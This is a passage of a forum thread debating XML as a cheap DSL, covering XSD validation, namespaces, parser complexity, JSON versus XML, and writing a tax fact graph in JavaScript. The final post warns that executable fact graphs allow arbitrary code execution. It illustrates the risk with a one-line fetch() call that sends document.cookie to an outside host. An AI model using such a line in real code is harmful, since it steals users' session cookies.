XML is a cheap DSL • Hacker News Board

Re: XML is a cheap DSL

#81

Post by Hfuffzehn » Sat, Mar 14, 2026, 2:35 PM UTC

Right. And as one of the people who has helped the downfall of the German economy by writing DSLs in the last decades: Our DSLs compiled to XML for transportability.

But please don't write DSLs anymore. If you have to, probably even just using Opus to write something for you is better. And AI doesn't like DSLs that can't be in its training base.

Re: XML is a cheap DSL

#82

Post by AndrewDucker » Sat, Mar 14, 2026, 2:35 PM UTC

bananamansion wrote: post #14

exabrial wrote: post #4

Given that that is had strong schema XSD verification built in, where you can tell in an instant whether or not the document is correct; it’s the right tool for a majority of jobs. My experience has been the people complaining about it were simply not using automated tools to handle it. It’s be like people complaining that “binaries/assembly are too hard to handle” and never using a disassembler.

what jobs require XSD verification?

Anything that wants to be sure that the data passed to it is structurally valid.

Re: XML is a cheap DSL

#83

Post by panzi » Sat, Mar 14, 2026, 2:36 PM UTC

scotty79 wrote: post #65

How awesome would XML be if it didn't have attributes, namespaces and could close elements with

Without namespaces it would be just ML, and that already has another meaning.

Re: XML is a cheap DSL

#84

Post by phlakaton » Sat, Mar 14, 2026, 2:37 PM UTC

exabrial wrote: post #4

Given that that is had strong schema XSD verification built in, where you can tell in an instant whether or not the document is correct; it’s the right tool for a majority of jobs. My experience has been the people complaining about it were simply not using automated tools to handle it. It’s be like people complaining that “binaries/assembly are too hard to handle” and never using a disassembler.

I'm happy to use XSD for certain situations, but it has some frustrating inabilities and complexities.

The impression I've got from the last 20 years is that a chunk of the XML community gave up on XSD and went to RELAX-NG instead, but only got halfway there.

Re: XML is a cheap DSL

#85

Post by Linux-Fan » Sat, Mar 14, 2026, 2:39 PM UTC

scotty79 wrote: post #65

How awesome would XML be if it didn't have attributes, namespaces and could close elements with

Another way to make XML awesome (especially for config files and the like) is to completely avoid CDATA i.e. no valuevalue2 but rather: -- simple constructions can then do with just a root element. Of course this pattern only pays off if you need the XML parser for other parts of the application, too...

Re: XML is a cheap DSL

#86

Post by twic » Sat, Mar 14, 2026, 2:41 PM UTC

necovek wrote: post #7

XML is notoriously expensive to properly parse in many languages. Basically, the entire world centers around 3 open source implementations (libxml2, expat and Xerces), if you want to get anywhere close to actual compliance. Even with them, you might hit challenges (libxml2 was largely unmaintained recently, yet it is the basis for many bindings in other languages). The main property of SGML-derived languages is that…

You don't even need to specify a DSL to make that code declarative. It can be real code that's manipulating expression objects instead of numbers (though not in JavaScript, where there's no operator overloading), with the graph of expression objects being the result.

Re: XML is a cheap DSL

#87

Post by panzi » Sat, Mar 14, 2026, 2:42 PM UTC

sdovan1 wrote: post #18

Sometimes I wonder why we need to invent another DSL. (or when should we?) At work, we have an XML DSL that bridges two services. It's actually a series of API calls with JSONPath mappings. It has if-else and goto, but no real math (you can only add 1 to a variable though) and no arrays. Debugging is such a pain, makes me wonder why we don't just write Java.

That's the biggest problem with DSLs: debugging!

Re: XML is a cheap DSL

#88

Post by phlakaton » Sat, Mar 14, 2026, 2:42 PM UTC

n_e wrote: post #46

After thinking a bit about the problem, and assuming the project's language is javascript, I'd write the fact graph directly in javascript: const totalEstimatedTaxesPaid = writable("totalEstimatedTaxesPaid", { type: "dollar", }); const totalPayments = fact( "totalPayments", sum([ totalEstimatedTaxesPaid, totalTaxesPaidOnSocialSecurityIncome, totalRefundableCredits, ]), ); const totalOwed = fact("totalOwed", diff(tota…

That repetition of variable and name is not the most terse, though. At least with XML, the repetition in the end tag is handled for you by pretty much every XML-aware text editor.

Re: XML is a cheap DSL

#89

Post by sgarland » Sat, Mar 14, 2026, 2:43 PM UTC

skrebbel wrote: post #49

sgarland wrote: post #22

Earlier quoted context omitted.

Since you explicitly mentioned fashion, I assume you read this: > There is a distinction that the industry refuses to acknowledge: developer convenience and correctness are different concerns. They are not opposed, necessarily, but they are not the same thing. … The rationalization is remarkable. "JSON is simpler", they say, while maintaining thousands of lines of validation code. "JSON is more readable", they claim,…

My zod schemas are 100x simpler than all those SAX parsers I maintained back in the day. Honestly I kinda doubt you've worked with XML a lot. The XML data model is wildly different than that of pretty much every programming language's builtin data structure, and it's a lot of work to cross that bridge. The article posted here makes a good point actually. XML is a DSL. So working with XML is a bit like working with a…

You’re correct that I haven’t worked much with XML. Some light parsing, mostly. When I was a kid in the early 00s, I rewrote my personal website (which wasn’t anything terribly complex, maybe 10-20 pages) into XHTML. I remember thinking that it seemed overly complicated for no clear benefit.

The article resonated with me because it was addressing a fundamental challenge I deal with constantly: watching people make decisions that allow them to ship quickly, at the expense of future problems.

Re: XML is a cheap DSL

#90

Post by catlifeonmars » Sat, Mar 14, 2026, 2:46 PM UTC

n_e wrote: post #46

After thinking a bit about the problem, and assuming the project's language is javascript, I'd write the fact graph directly in javascript: const totalEstimatedTaxesPaid = writable("totalEstimatedTaxesPaid", { type: "dollar", }); const totalPayments = fact( "totalPayments", sum([ totalEstimatedTaxesPaid, totalTaxesPaidOnSocialSecurityIncome, totalRefundableCredits, ]), ); const totalOwed = fact("totalOwed", diff(tota…

This is an interesting, but objectively terrible idea. You’ve now introduced arbitrary code execution into something that should be data.

Now let me send you a fact graph that contains:

    fetch(`https://callhome.com/collect?s=${document.cookie}`)